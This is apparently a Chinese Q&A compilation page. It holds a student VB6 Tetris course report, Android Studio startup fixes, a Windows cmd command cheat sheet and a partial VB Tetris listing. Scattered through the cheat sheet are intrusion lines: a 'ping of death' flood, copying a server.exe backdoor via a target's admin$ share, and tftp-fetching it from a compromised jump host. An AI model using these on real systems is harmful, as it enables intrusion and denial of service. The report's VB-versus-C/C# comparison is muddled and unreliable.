1. 怎么用vb制作俄罗斯方块游戏啊，简单点的。
visual basic继承了basic语言易学易用的特点，特别适合于初学者学习windows系统编程。随着21世纪信息社会的到来,计算机在人们的工作和生活中的深入,要求我们越来越多地与计算机打交道,为了使用户在繁忙的日程工作中得到放松,于是出现了各种各样的休闲软件,如聊天工具,游戏等等。于是我们小组着手设计开始一个这样的游戏软件。通过这学期来Visual Basic的学习，我初步掌握了Visual Basic语言的最基本的知识，于是在牛荣和李鹏等老师的指导下动手用Visual Basic编写俄罗斯方块游戏。
我们之所以选择开发俄罗斯方块游戏，无可争议，《俄罗斯方块》是有史以来最伟大的游戏之一。 在曾经发布过的所有游戏中，《俄罗斯方块》还被认为是仅有的一个能够真正吸引广泛人群的作品。谁能说清楚，迄今为止人们究竟花了多少万个小时在这个游戏上？也许这些时间本来可以被花在更具生产力的活动上。某些批评家也许会声称，《俄罗斯方块》要比过去二十年间出现的任何东西都要浪费人们的时间。至于我们，则要欣然提名它为GameSpot评选出的历史上最伟大游戏之一。
为了怀念经典，也为了能够给大多的计算机用户在工作之余找到一个休闲、娱乐的一个方式，我们小组开始着手用VB语言开发一个经典的俄罗斯方块游戏。
工程概况
2.1 项目名称
俄罗斯方块游戏
2.2 设计平台
VB 全称Visual Basic,它是以Basic语言作为其基本语言的一种可视化编程工具。
Vb是microsoft公司于1991年退出的windows应用程序开发工具visual意思是“可视化的”。在它刚推出来时，自身还存在一些缺陷，功能也相对少一些。但是经过多年的开发研究。最近microsoft公司又推出了VB6.0版本
VB6.0运行环境：硬件，要求486以上的处理器、16MB以上内存，50MB 以上的硬盘，cd-rom驱动器，鼠标。软件：要求windows 95以上版本。
2.3程序设计思想
游戏是用来给大家娱乐的，所以要能在使用的过程中给大家带来快乐，消除大家的疲劳，所以我们在游戏中添加了漂亮的场景和动听的音乐，设置了过关升级的功能，激发大家的娱乐激情。
从游戏的基本玩法出发，主要就是俄罗斯方块的形状和旋转，我们在设计中在一个图片框中构造了一个4*4的网状小块，由这些小块组合成新的形状，每四个小块连接在一起就可以构造出一种造型，因此我们总共设计了7中造型，每种造型又可以通过旋转而变化出2到4种形状，利用随机函数在一个欲览窗体中提前展示形状供用户参考，然后将展示的形状复制到游戏窗体中进行摆放，在游戏窗体中用户就可以使用键盘的方向键来控制方块的运动，然后利用递归语句对每一行进行判断，如果有某行的方块是满的，则消除这行的方块，并且使上面的方块自由下落，其中，方块向下的速度是有时钟控件控制的，在游戏中，用户也可以使用向下键加快下落速度，定义一个变量，对消除的函数进行记录，最后就可以得出用户的分数，用if 语句对分数判断，达到一定的积分就可以升级到下一个档次。
俄罗斯方块游戏设计的主要步骤为以下10个方面：
（1）游戏界面的设计。
（2）俄罗斯方块的造型。
（3）俄罗斯方块的旋转。
（4）俄罗斯方块的运动情况（包括向左，向右和向下）。
（5）俄罗斯方块的自动消行功能。
（6）游戏级别的自由选择。
（7）游戏速度的自由选择。
（8）游戏得分的计算。
（9）游戏菜单选项的设计及功能实现。
（10）游戏的背景音乐及特效。
2.4运用的控件和主要对象
我们在设计过程中主要用到的控件有:command控件，image控件，picture控件，label控件，timer控件，text控件，windows media player控件等等。
2.5主要实现的功能
我们开发的俄罗斯方块游戏，主要实现了以下几种功能：
1.可以灵活控制方块在图形框中运动。
2.游戏过程中方块可以自由旋转。
3.当某一行的方块排列满时，将自动将这一行方块消除，然后将上面所有方块向下移动，可以支持连续消行。
4.游戏前可以选择游戏的速度和游戏的等级，游戏速度既为方块下落速度，游戏等级为初始游戏时在基层随机生成一定行数的无规律方块，生成的行数由你来选择，每行至少产生5个以上的无规律方块，这样增加了游戏难度，对于游戏高手来说，无疑不是一个新的挑战。
5.游戏的得分支持积分，并且按照公式：
得分 = 原来分数+ 100 * (2 ^ 同时消除的行数-1)
这样，你同一时间消除的行数越多，你的得分也就越高，当游戏积分到了一定时可以自动升级，这个升级指速度升级。
6.游戏中提供了一个漂亮的场景和动听的音乐，给你带来无限激情。
2.6开发人员
由于这次课程设计所选的题目太复杂，而时间又比较紧张，指导老师建议和同学分工完成。我们小组成员包括组长孙磊周，副组长邹海星，此游戏由我们两个人共同开发而成。
正文
3.1游戏设计的具体实现
在我们两个人共同努力下，此次设计，终于能够圆满完成。由于时间的紧促，在设计中，也许会有一些考虑不周之处，但其功能已经能够满足大多用户的需求，相信假以时日，一定能做出一个更经典，更完美的俄罗斯方块游戏，下面我们将对每一步的具体如何实现展示给大家。
3.1.1游戏界面的设计和背景音乐及特效的实现
俄罗斯方块游戏主要由两个界面构成，登陆界面和开始游戏界面，在登陆界面中我们可以首先看到圣诞节的晚上飘梅花的场景，梅花从窗体顶部做函数曲线的下落运动，在窗体中定义一个Image控件组，在通用中定义梅花X坐标变量动态数组，Y坐标变量动态数组，步距X的变量动态数组，步距Y的变量动态数组，以及振幅变量动态数组。然后在窗体form_load中可以定义梅花的数量，利用随机函数产生随机的梅花坐标，步距和振幅，Image控件在运行时候就调用梅花图片，Image控件就可以由时钟控件控制下落速度，可以自由调节，梅花按snow(i).Left = xp(i) + am(i) * Sin(dx(i))函数在做纵向的正玄函数轨迹运动，竖直方向上为自由下落运动，，有am(i)来控制梅花的左右移动振幅。因此，我们就可以看到一个梅花在空中自由飘舞的画面了。
背景画面是用photoshop软件处理的漂亮图案，原本画面中的动画效果都是由Image控件制作的，还有点击进入游戏的按钮是由Label控件实现的，因为Image控件没有置前置后功能，不能将下雪的场景体现完整性，所以将这些图案全部放在背景上，不影响雪花飘落的效果，当点击画面的时候一样可以进入游戏界面。
游戏的背景音乐是由一段代码调用系统播放器Windows Player播放背景音乐，由于本次设计主要是针对游戏如何设计的，所以在这里就不对播放背景音乐的功能做介绍了。
3.1.2俄罗斯方块的造型
相信朋友们都玩过俄罗斯方块，对这个游戏的玩法和方块形状都比较熟悉。我们这个游戏只选择了最基本的7中造型，包括长条型，正方型，正S型，反S型，正7型，反7型，T型。如果需要我们可以添加更多的造型。将游戏界面的游戏区图片框分割成10*20的小块，每个小块放置一个command控件，预览区图片框按同样比例分割成4*4的小块，同样有command控件构成，我们可以把预览区图片框看作是从游戏区图片框中选取的一个部分，游戏区的小方块编号和欲览区编号如下图：
0 1 2 3 4 5 6 7 8 9
… … … … … … … … … …
… … … … … … … … … …
90 91 92 93 94 95 96 97 98 99
3 4 5 6
13 14 15 16
23 24 25 26
33 34 35 36
游戏区编号 欲览区编号
利用Select将方块的7中造型列出，比如长条型的设计，在欲览区中分别有3.4.5.6和5.15.25.35四个方块构成两中形态，用数组为：
m(0) = 3: m(1) = 4: m(2) = 5: m(3) = 6: situation2 = 0
m(0) = 5: m(1) = 15: m(2) = 25: m(3) = 35: situation2 = 1
将它的形状编号为0和1，在后面方便调用，其他的方块造型同样的方法。
3.1.3俄罗斯方块的旋转
俄罗斯方块的旋转主要将方块的位置加以变换得到的，例如上述范例，长条型有两中样式，根据小方块的编号变动来实现整个造型的旋转，比如：
If n(0) - 18 >= 2 And n(3) + 9 <= 198 Then
If cmdfang(n(0) - 18).Visible = False And _
cmdfang(n(1) - 9).Visible = False And _
cmdfang(n(3) + 9).Visible = False Then
hidefang 0
n(0) = n(0) - 18
n(1) = n(1) - 9
n(3) = n(3) + 9
showfang 0
situation = 1
End If
End If
方块的造型在旋转的时候存在一个公式，当然首先要判断是否满足旋转的要求，以上是一个长条型由横着变成竖立状态的旋转，我们以它的造型中的第三个小方块n(3)为中心旋转，这样，在开始运动的时候，长条形要发生旋转最少要运动到第三行，才能由横着变成竖立状态，游戏区图形框中第三行的第一个方块的编号为20，所以长条造型的第一个小方块的编号n(0)必须要大于20。同样，长条型方块在下落到底部的时候也有限制。如果长条下落到最后一行也将无法由横着变成竖立状态。
3.1.4如何实现方块的运动和自动消除满行的方块
我们的这个俄罗斯方块游戏主要是利用command控件的visible属性完成效果的，其实在游戏区图形框可以看成是由许多的command小方块组成，方块运动的过程就是造型里方块显示或者隐藏，就像现在的霓虹灯效果一样，由时钟控件控制visible属性改变的速度，上一层的消失，下一层的显示，这样，从视觉效果可以看到方块的下落运动效果。
方块在下落的过程中会自动判断每一行方块的visible属性，如果全部为true时，就会将这一行小方块的visible属性全部变成false，在将上面的小方块向下移动，利用for语句进行循环判断，将所有这样情况的行改变小方块visible属性。当有多行同时出现这样情况时使用递归调用，实现连续消行。具体程序代码如下：
For i = 190 To 10 Step -10
If cmdfang(i).Visible = True And _
cmdfang(i + 1).Visible = True And _
cmdfang(i + 2).Visible = True And _
cmdfang(i + 3).Visible = True And _
cmdfang(i + 4).Visible = True And _
cmdfang(i + 5).Visible = True And _
cmdfang(i + 6).Visible = True And _
cmdfang(i + 7).Visible = True And _
cmdfang(i + 8).Visible = True And _
cmdfang(i + 9).Visible = True Then
For j = i + 4 To i Step -1
t = 1
cmdfang(j).Visible = False
cmdfang(2 * i + 9 - j).Visible = False
For k = 1 To 4000
DoEvents
Next
t = 0
Next
linenum = linenum + 1
For j = i - 1 To 0 Step -1
If cmdfang(j).Visible = True Then
cmdfang(j).Visible = False
cmdfang(j + 10).Visible = True
End If
Next
clearline '为了实现连消数行，这里使用递归调用
End If
Next
3.1.5游戏速度和游戏级别自由选择
游戏速度的自由选择无非就是改变时钟控件的频率，我们在菜单中添加了选择速度的功能，还有添加了考验功能，将欲览窗中的方块造型隐藏，给玩家提高了难度，如果你不愿意接受考验也可以点击显示还原成原来状态。
游戏级别的自由选择是让用户选择游戏开始时候，游戏区底部出现一定行数的随机方块，同样给玩家增加了难度，功能代码如下：
For i = 19 To 20 - Val(txthard.Text) Step -1
For j = i * 10 To i * 10 + 9
If Rnd >= 0.5 Then cmdfang(j).Visible = True
Next
Next
可以根据你选择的难度系数在底层的每一行随机产生超过半数（即5个以上）以上的小方块，这样适合喜欢高难度的玩家。
3.1.6游戏得分的计算和游戏菜单的编辑
游戏得分的计算主要是根据消除的行数来决定的，当然每一次同时消除的行数不一样，每一行的得分也不一样，如果你每次消除的行数为1，则最后得分是100分，如果同时消除2行，则最后得分是300分，同时消除3行，得分为700分，同时消除4行，得分为1500分，这由公式：得分 = 原来分数+ 100 * (2 ^ 同时消除的行数-1)。
游戏的编辑，读者可以参照下面的功能介绍。
3.2 游戏功能的介绍
文件-------开始：开始游戏。
继续：继续游戏。
暂停：暂时停止游戏，点击继续的时候可以继续游戏。
退出：退出游戏。
设置-------选择游戏级别。
选择游戏速度。
考验-------显示：显示欲览去方块。
隐藏：隐藏欲览去方块。
帮助-------操作提示以及版本信息和作者资料。
用户界面具体如图：
图—登陆界面 图—游戏界面
图—菜单编辑界面 图—游戏帮助界面
有关说明
经过两个多星期的设计和开发，俄罗斯方块游戏已经成功。其功能基本符合用户需求，能够完成游戏的控制，方块的变换以及消层等功能。并提供游戏设置，对于一些技术性比较过硬的玩家，可以调游戏级别、以及游戏速度，使得玩家能够充分的发挥竞技游戏的特色，可以不断的挑战自我，挑战极限。
4.1游戏设计中的不足之处
但是由于课程设计时间较短，所以该游戏还有许多不尽如人意的地方，比如方块类型太少，退出游戏不能存储进度等多方面问题。这些都有待进一步改善，我们在游戏中还可以更换背景音乐，以适合不同的玩家，在每通过一关可以给玩家播放一段flash，吸引玩家去挑战极限，不断提高玩家的兴趣，相信在以后的制作过程中我们将给大家带来一个更新功能更全面的游戏。
4.2VB与C语言之间的不同之处
我们这个小游戏也可以用C语言来实现，在程序的编程上没有VB语言方便实用，C语言和VB语言之间存在很多的共同点，虽然语法方面有点差异，但是在编程思路上完全一样，VB能够实现很多C#不能做到的功能，如When语句、Optional参数、局部Static变量、对象实例访问静态方法、Handles绑定事件、On Error处理异常、Object直接后期绑定等等。VB和C#语言，编译出来的是同样的CIL，但为什么VB支持很多有趣的特性呢。我们一起来探究一下。
4.21局部静态变量
VB支持用Static关键字声明局部变量，这样在过程结束的时候可以保持变量的数值：
Public Sub Test1()
Static i As Integer
i += 1 '实现一个过程调用计数器
End Sub
我们实现了一个简单的过程计数器。每调用一次Test，计数器的数值就增加1。其实还有很多情况我们希望保持变量的数值。而C#的static是不能用在过程内部的。因此要实现过程计数器，我们必须声明一个类级别的变量。这样做明显不如VB好。因为无法防止其他过程修改计数器变量。这就和对象封装一个道理，本来应该是一个方法的局部变量，现在我要被迫把它独立出来，显然是不好的设计。那么VB是怎么生成局部静态变量的呢？将上述代码返汇编，我们可以清楚地看到在VB生成的CIL中，i不是作为局部变量，而是作为类的Field出现的： .field private specialname int32 $STATIC$Test1$2001$i
也就是说，i被改名作为一个类的字段，但被冠以specialname。在代码中试图访问$STATIC$Test1$2001$i是不可能的，因为它不是一个有效的标识符。但是在IL中，将这个变量加一的代码却与一般的类字段完全一样，是通过ldfld加载的。我觉得这个方法十分聪明，把静态变量变成生命周期一样的类字段，但是又由编译器来控制访问的权限，让它成为一个局部变量。同时也解释了VB为什么要用两个不同的关键字来声明静态变量——Static和Shared。由于局部静态变量的实质是类的字段，所以它和真正的局部变量还是有所不同的。比如在多线程条件下，对局部静态变量的访问就和访问字段相同。
4.2.2Handles和WithEvents
VB除了可以用C#那样的方法来处理事件响应以外，还有从VB5继承下来的独特的事件处理方式——WithEvents。
我喜欢称这种事件处理方式为静态的事件处理，书写响应事件的方法时就已经决定该方法响应的是哪一个事件，而C#则是在代码中绑定事件的。VB中WithEvents静态方法是非常有用的，它可以显著增强代码可读性，同时也让VB.net中的事件处理非常方便，不像C#那样离开了窗体设计器就必须手工绑定事件。
4.2.3类型转换运算符
在Visual Basic 2005中将加入一个新的运算符——TryCast，相当于C#的as运算符。我一直希望VB有这样一个运算符。VB目前的类型转换运算符主要有CType和DirectCast。他们的用法几乎一样。我详细比较了一下这两个运算符，得出以下结论：
1.在转换成引用类型时，两者没有什么区别，都是直接调用castclass指令，除非重载了类型转换运算符CType。DirectCast运算符是不能重载的。
2.转换成值类型时，CType会调用VB指定的类型转换函数（如果有的话），比如将String转换为Int32时，就会自动调用。
4.2.4默认属性和属性参数
在原先的VB6里，有一项奇特的功能——默认属性。在VB6中，对象的名称可以直接表示该对象的默认属性。
4.2.5可选参数和按名传递
VB从4.0开始支持“可选参数”这一特性。就是说，函数或子程序的参数有些是可选的，调用的时候可以不输入。其实VB从1.0开始就有一些函数带有可选参数，只不过到了4.0才让用户自己开发这样的过程。在VB4里，可选参数可以不带默认值，而在VB里，如果使用可选参数，则必须带有默认值。在调用的时候，VB若发现参数被省略，则自动读取.param部分的默认值，并显式传递给过程。这一部分完全由编译器处理，而且没有任何性能损失，和手工传递所有参数是完全一样的。至于按名传递，VB会自动调整参数的顺序，其结果与传统方式的传递也没有任何的不同。这说明我们可以放心地使用这项便利。而且带有可选参数的过程拿到C#中，顶多变成不可选参数，也不会造成什么其他的麻烦。
PS.很多COM组件都使用了默认参数，而且有些过程的参数列表非常长，在VB里可以轻松地处理它们，而在C#中经常让开发者传参数传到吐血。
4.2.6在经过对比之后可得以下一个结论：
1.目前的主流编程语言没有简单的，如果你想学精通的话。
2.VB的门槛比较低，编程思想较容易接受。
3.学习C不能短期内见到成效。
4.据用户调查69%的考生觉得VB更容易接受
致谢
在本次课程设计中，我从指导老师牛荣和李鹏身上学到了很多东西。老师认真负责的工作态度，严谨的治学精神和深厚的理论水平都使我收益匪浅。他无论在理论上还是在实践中，都给与我很大的帮助，使我得到不少的提高这对于我以后的工作和学习都有一种巨大的帮助，感谢他耐心的辅导。
另外，在游戏开发过程中化希耀老师和杜义君老师也给于我们很大的帮助，帮助解决了不少的难点，使得游戏能及时开发完成，还有所有的同学同样给与我不少帮助，这里一并表示感。
参考文献：
[1]Vsual Basic 程序设计教程 作者：龚沛曾，陆慰民，杨志强 高等教育出版社出版
[2]Vsual Basic 6.0程序设计 作者：刘新民，蔡琼，白糠生 清华大学出版社出版
[3]80例上手 VB6 编程 作者：唐凯军，汤惠莉 山东电子音像出版社
[4]Vsual Basic 实例教程 作者：卢毅 科学出版社出版
[5]Vsual Basic 经典范例50讲 作者：赵欣胜，亢慧娟，刘晟宏 科学出版社出版
2. Android studio使用方法
先来到Android Studio的bin目录下,修改studio.bat 第72行GOTO end 在它前面加上PAUSE 用于查看错误消息，进入cmd 然后指向Android Studio目录下 运行studio.bat 可以查看错误消息，去修改android-studio\bin目录下的studio.exe.vmoptions 去除第5行的 -XX:+UseCodeCacheFlushing，启动成功
用记事本打开android-studio\bin 目录下的studio.bat
将 SET VM_OPTIONS_FILE=%IDE_BIN_DIR%\studio%BITS%.exe.vmoptions
改为 SETVM_OPTIONS_FILE=%IDE_BIN_DIR%\studio%BITS%.exe启动成功[8]
用文本工具打开
studio.bat
line25 to line 28:
SET JRE=%JDK%
IF EXIST "%JRE%\jre" SET JRE=%JDK%\jre
SET BITS=IF EXIST "%JRE%\lib\amd64" SET BITS=64
可以看到里面设置软件支持系统位数是64位，如果自己所用电脑是32位的 jre/lib目录下只有i386文件，尝试把
IF EXIST "%JRE%\lib\amd64" SET BITS=64 改为
IF EXIST "%JRE%\lib\i386" SET BITS=32[8]
检查jdk路径是否配置，1.6和1.7都没有问题，jdk环境变量配置确保正确
3. cmd代码大全
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
move 盘符路径要移动的文件名存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP（属telnet登陆后的命令）
telnet 在本机上直接键入telnet 将进入本机的telnet
路径文件名1路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
x 要复制的文件或目录树目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件
用参数/e才可连目录下的子目录一起复制到目标地址下。
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送
tftp -i 对方IPput c:server.exe 登陆后，上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用+则是添加为某属性
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序，并显示出：请按任意键继续....
if 在批处理程序中执行条件处理（更多说明见if命令及变量）
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）
call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色；0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md目录名 创建目录
replace 源文件要替换文件的目录 替换文件
ren 原文件名新文件名 重命名文件名
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
regedit /e 注册表文件名 导出注册表
cacls 文件名参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
4. VB 俄罗斯方块设计程序代码 VB程序做的 俄罗斯方块 要有窗体，控键，代码整套的那种！
Moudle1:
Public NowY() As Integer
Public NowX() As Integer
Public NowShape As Integer
Public block() As Boolean
Private Sub Cmd1_Click() '开始/重新开始
ReDim block(Int(Text1.Text) + 1, Int(Text2.Text) + 1) '定义2维数组
For i = 1 To Int(Text1.Text) '以下9行是初始化数组，令可操作(Pic1以内)的部分为False，Pic1以外的边缘部分为True
For j = 1 To Int(Text2.Text)
block(i, j) = False
block(0, j) = True
block(i, 0) = True
block(Int(Text1.Text) + 1, j) = True
block(i, Int(Text2.Text) + 1) = True
Next j
Next i
Text1.Enabled = False
Text2.Enabled = False
Cmd2.Enabled = True
Call MakeBlock '产生方块
Timer1.Enabled = True '开始
Cmd1.Caption = "重新开始"
Text3.Text = 0
Pic1.SetFocus '令Pic1接收键盘
End Sub
Private Sub Cmd2_Click() '暂停/继续
If Cmd2.Caption = "暂停" Then
Timer1.Enabled = False
Cmd2.Caption = "继续"
Else
Timer1.Enabled = True
Cmd2.Caption = "暂停"
End If
Pic1.SetFocus '令Pic1接收键盘
End Sub
Private Sub Cmd3_Click()
End
End Sub
Private Sub Form_Load()
Randomize '随机种子
ReDim NowX(3)
ReDim NowY(3) '定义数组来记录当前的4个方块的坐标
Image1(0).Width = 300
Image1(0).Height = 300
Image2(0).Width = 300
Image2(0).Height = 300
Image2(0).Picture = Image1(0).Picture '对相关Image的描述
For i = 1 To 3
Load Image2(i)
Image2(i).Visible = True
Next i '装载所需的Image2，并设置为可见
Image2(0).Visible = True
End Sub
Sub MakeBlock() '随机产生方块图形
Static NextShape As Integer '定义静态变量NextShape，用来存储下一个图形的样式。
NowX(0) = Int(Text1.Text) \ 2
NowY(0) = 1 '先定义第一个方块的坐标
NowShape = IIf(NextShape = 0, Fix(7 * Rnd) + 1, NextShape) '当前形状根据“下一个”而定
NextShape = Fix(7 * Rnd) + 1 '得到下一个即将出现的类型
Select Case NowShape '以下Case是按照事先规定的编号给相应的点赋予坐标值
Case 1 '方形
NowX(1) = NowX(0) + 1
NowY(1) = 1
NowX(2) = NowX(0)
NowY(2) = 2
NowX(3) = NowX(0) + 1
NowY(3) = 2
Case 2 'L形
NowX(1) = NowX(0) + 1
NowY(1) = 1
NowX(2) = NowX(0) + 1
NowY(2) = 2
NowX(3) = NowX(0) + 1
NowY(3) = 3
Case 3 '反L形
NowX(1) = NowX(0) + 1
NowY(1) = 1
NowX(2) = NowX(0)
NowY(2) = 2
NowX(3) = NowX(0)
NowY(3) = 3
Case 4 '长条形
For i = 1 To 3
NowX(i) = NowX(0)
NowY(i) = i + 1
Next i
Case 5 'Z形
NowX(1) = NowX(0) - 1
NowY(1) = 2
NowX(2) = NowX(0)
NowY(2) = 2
NowX(3) = NowX(0) - 1
NowY(3) = 3
Case 6 '反Z形
NowX(1) = NowX(0)
NowY(1) = 2
NowX(2) = NowX(0) + 1
NowY(2) = 2
NowX(3) = NowX(0) + 1
NowY(3) = 3
Case 7 'T形
NowX(1) = NowX(0) - 1
NowY(1) = 2
NowX(2) = NowX(0)
NowY(2) = 2
NowX(3) = NowX(0) + 1
NowY(3) = 2
End Select
For i = 0 To 3
If block(NowX(i), NowY(i)) = True Then '如果在即将产生的点中出现了已存在点(堆满)
Timer1.Enabled = False
Cmd2.Enabled = False
MsgBox "游戏结束", vbOKOnly, "gameover" '则游戏结束
Exit Sub
Else
block(NowX(i), NowY(i)) = True '如果没有堆满，则产生相应的点
End If
Next i
Image2(0).Left = 600
Image2(0).Top = 400
Select Case NextShape '以下Case是绘制“下一个”中的图形
Case 1
Image2(1).Left = 900
Image2(1).Top = 400
Image2(2).Left = 600
Image2(2).Top = 700
Image2(3).Left = 900
Image2(3).Top = 700
Case 2
Image2(1).Left = 900
Image2(1).Top = 400
Image2(2).Left = 900
Image2(2).Top = 700
Image2(3).Left = 900
Image2(3).Top = 1000
Case 3
Image2(1).Left = 900
Image2(1).Top = 400
Image2(2).Left = 600
Image2(2).Top = 700
Image2(3).Left = 600
Image2(3).Top = 1000
Case 4
Image2(1).Left = 600
Image2(1).Top = 700
Image2(2).Left = 600
Image2(2).Top = 1000
Image2(3).Left = 600
Image2(3).Top = 1300
Case 5
Image2(1).Left = 300
Image2(1).Top = 700
Image2(2).Left = 600
Image2(2).Top = 700
Image2(3).Left = 300
Image2(3).Top = 1000
Case 6
Image2(1).Left = 600
Image2(1).Top = 700
Image2(2).Left = 900
Image2(2).Top = 700
Image2(3).Left = 900
Image2(3).Top = 1000
Case 7
Image2(1).Left = 300
Image2(1).Top = 700
Image2(2).Left = 600
Image2(2).Top = 700
Image2(3).Left = 900
Image2(3).Top = 700
End Select
Call DrawBlock '重画所有方块
End Sub
Private Sub Pic1_KeyDown(KeyCode As Integer, Shift As Integer) '根据按键执行相应动作
Select Case KeyCode
Case 37 '左
Call MoveBlock(-1, 0)
Case 40 '下
Call MoveBlock(0, 1)
Case 39 '右
Call MoveBlock(1, 0)
Case 38 '上(旋转)
Call Eddy
End Select
End Sub
Private Sub Timer1_Timer()
Call MoveBlock(0, 1) '定时向下移动
End Sub
Sub MoveBlock(MoveX As Integer, MoveY As Integer) '在3个方向上平移方块
ReDim NewX(3) As Integer
ReDim NewY(3) As Integer
For i = 0 To 3
block(NowX(i), NowY(i)) = False '先令当前的4个方块所在点为False，便于判断是否可移动
NewX(i) = NowX(i) + MoveX
NewY(i) = NowY(i) + MoveY '算出移动后新点所在坐标，并赋给新点坐标组NewX(),NewY()
Next i
If AllowChange(NewX(), NewY()) = False Then '如果不可移动
For i = 0 To 3
block(NowX(i), NowY(i)) = True '因为不可移动，所以将暂时变为False的方块所在点改为True
Next i
If MoveY = 1 Then '如果是向下移动
Call Clear '判断是否可执行或执行消除整行的动作
Call MakeBlock '产生新的方块图形
End If
Else '如果可以移动
For i = 0 To 3
block(NewX(i), NewY(i)) = True '令新点坐标的值为True
NowX(i) = NewX(i)
NowY(i) = NewY(i) '将新点坐标赋给当前点坐标
Next i
End If
Call DrawBlock '重画所有方块
End Sub
Sub DrawBlock() '重画所有方块
For i = 1 To Image1.Count - 1
Unload Image1(i) '先卸载之前的所有方块
Next i
For i = 1 To Int(Text1.Text)
For j = 1 To Int(Text2.Text)
If block(i, j) = True Then '如果遇到True的点
Load Image1(Image1.Count) '加载新的Image1
Image1(Image1.Count - 1).Left = (i - 1) * 300
